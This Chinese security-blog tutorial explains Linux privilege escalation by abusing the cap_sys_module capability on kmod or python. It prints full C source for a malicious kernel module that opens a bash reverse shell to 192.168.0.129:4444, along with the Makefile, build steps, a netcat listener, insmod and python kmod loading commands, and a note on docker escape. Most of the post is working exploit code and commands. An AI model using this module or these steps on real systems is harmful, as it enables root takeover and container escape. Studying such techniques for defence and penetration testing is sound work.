freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux提权之Capabilities提权(二)
2023-02-28 13:04:59
所属地 甘肃省

续上篇,本篇文章将介绍利用cap_sys_module权限进行提权的方法

cap_sys_module

此权限为允许插入和修改内核模块,Linux内核是允许用户通过添加或删除内核模块来扩展其功能,但是一般仅限于root权限,提权的思路是利用拥有module权限的程序注入恶意的内核模块,如果是python或kmod这样的进程具有这种能力,可以使用反向shell直接提权至root用户。

这里分别列举python和kmod提权方法

kmod具有cap_sys_module权限

  • 发现kmod具有cap_sys_module权限
getcap -r / 2>/dev/null

  • 生成恶意内核模块

1.写入reverse-shell.c(注意修改地址及端口)

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");


char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };


static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}


static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}


module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

2.写Makeflie文件(注意make前不能使用空格,必须使用tab键)

obj-m +=reverse-shell.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3.执行make操作

make

在这里我踩了坑,总是make不成功,提示无法找到文件或目录,后面发现原因是因为没有安装内核开发包,遂进行安装

yum install kernel-devel-$(uname -r)

  • 反弹shell

1.监听在reverse-shell.c中填写的端口

nc -nvlp 4444

2.使用kmod注入恶意模块

insmod reverse-shell.ko

python具有cap_sys_module权限

其基本思路也是一样,注入reverse-shell.ko恶意内核模块

但是!!!需要注意的是,python必须安装kmod模块

我们可以通过以下命令查看python是否安装了kmod模块

python -c "help('modules')" | grep kmod

  • 发现python具有cap_sys_module权限及kmod模块

1677521654_63fcf2f6aa453907af795.png!small?1677521657079

  • 创建虚假的模块目录

mkdir lib/modules -p

  • 将模块复制到此目录下

cp -a /lib/modules/$(uname -r)/ lib/modules/$(uname -r)

1677521761_63fcf36150c5817aa0e7e.png!small?1677521763002

  • 生成恶意内核模块

1.写入reverse-shell.c,注意修改端口及地址

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");


char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.129/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };


static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}


static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}


module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

1677522025_63fcf469b077829b60341.png!small?1677522027388

2.写Makeflie文件(注意要使用tab键)

obj-m +=reverse-shell.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

1677522094_63fcf4ae0c50d84fe7ebf.png!small?1677522095660

3.执行make操作

1677522134_63fcf4d68479f5f8c8951.png!small?1677522136128

  • 复制

cp reverse-shell.ko lib/modules/$(uname -r)/

1677522171_63fcf4fb689ccfed5fd30.png!small?1677522173090

  • 监听4444端口

nc -nvlp 4444

  • 使用depmod模块更新内核模块列表
  • 执行python代码加载内核模块(注意修改路径)

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") #这里要注意修改正确
km.modprobe("reverse-shell")

1677522262_63fcf556267bd09684ab6.png!small?1677522263697

可以看到,成功弹回了root权限的shell

1677522323_63fcf5934cfb43e7420e1.png!small?1677522324945


当然,如果一个docker拥有了cap_sys_module权限,我们就可以进行docker逃逸以至于获得主机的root权限。


本篇文章仅作学习参考使用,文中如有纰漏及错误,敬请指正

# linux # 系统安全 # linux安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录